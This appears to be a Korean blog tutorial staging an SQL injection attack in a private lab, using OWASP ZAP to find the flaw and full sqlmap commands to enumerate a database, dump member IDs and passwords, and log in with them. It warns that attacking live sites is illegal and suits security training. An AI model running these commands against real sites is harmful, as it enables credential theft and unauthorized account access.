[해킹] sql injection 해킹 시나리오 by 김다이아2023. 8. 10. 15:02
반응형

안녕하세요 김다이아에요

 

오늘은 sql injection 해킹 시나리오를 만들어 볼게요

 

해킹 시나리오를 만들 때에는 아래와 같이 주의사항이 있어요

1) 해킹은 실제 사용 중인 사이트를 공격하게 되면 법적인 문제가 발생될 수 있어요. 때문에 테스트를 진행할 경우 테스트 환경을 구성해야 돼요.

2) 취약점 스캔 툴을 돌릴 경우 의미 없는 데이터 값이 db에 등록될 수 있어요.

 

 

이제 주의사항까지 알아봤다면 해킹 시나리오 시작해 볼까요?

 

 

첫 번째 sql injection 공격하기 위해서는 테스트용 웹 서버 및 공격용 서버를 구축해야 돼요.

ㄴ 작성자는 이미 만들어 놓은 테스트용 웹 서버가 있어요

ㄴ 웹 테스트 서버 OS: 우분투 22.04

ㄴ 웹 서버 : nginx1.80/ mariadb 15.2 / php 8.1

ㄴ 웹 보드 : wordpress

ㄴ 공격자 테스트 서버 OS : 칼리

 

 

 

 

두 번째 OWASP-ZAP  tools 이용하여 취약점 스캔해요

ㄴautomated scan 화면에서 스캔 대상인 웹 주소를 입력 후 공격을 누르면 스캔하는데 시간이 조금 걸려요.

ㄴ스캔이 완료되면 깃발 모양이 있는 탭을 누르게 될 경우 어떠한 취약점이 발생되었는지 알 수 있어요.

ㄴ 관리자 웹 테스트 서버에는 sql injection 취약점이 발견되었어요.

 

 

세 번째 OWASP-ZAP  tools를 이용해서 취약점을 확인했다면 공격 서버로 와서 웹 서버의 DB 정보를 획득해볼게요

ㄴ kail linux sqlmap tools 이용하여 DB 정보 획득해 볼게요

ㄴ DB 정보를 확인하는 명령어 : sqlmap –u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" --dbs



ㄴ DB 테이블 정보를 확인 하는 명령어 : sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic --tables



ㄴ DB 회원 정보를 확인하는 명령어 :

sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member --columns



 

 

 

네 번째 웹 서버에서 회원 정보를 dump 하여 csv 파일로 만든 다음 외부로 유출 시도를 해볼게요

ㄴ 관리자는 회원 정보 중에서 id, password의 정보만 dump 할게요

ㄴ 명령어: sqlmap -u "http://192.168.0.136/test2/login/insert.php" --method POST --data "id=1" -D classic_basic -T member -C "id, pass"id,pass –-dump 

ㄴ ftp 응용 프로그램을 연결하여 dump 한 파일을 다운로드할 께요



 

 

 

다섯 번째 다운로드한 csv 파일을 열어서 회원정보가 들어있는지 확인해 볼게요

ㄴ 다운로드한 csv 파일을 열어서 관리자가 원했던 id, password 정보가 들어 있는지 확인해 볼게요.



 

 

여섯 번째 웹 사이트로 가서 탈취한 회원정보를 가지고 로그인 시도를 해볼게요.

ㄴ 탈취한 회원 정보를 가지고 사이트 로그인 시도를 해볼게요.

 


 

일곱전째 정상적으로 로그인되는 것을 확인을 해요

ㄴ 로그인 성공!!!

 

 

 

 

 

 

 

반응형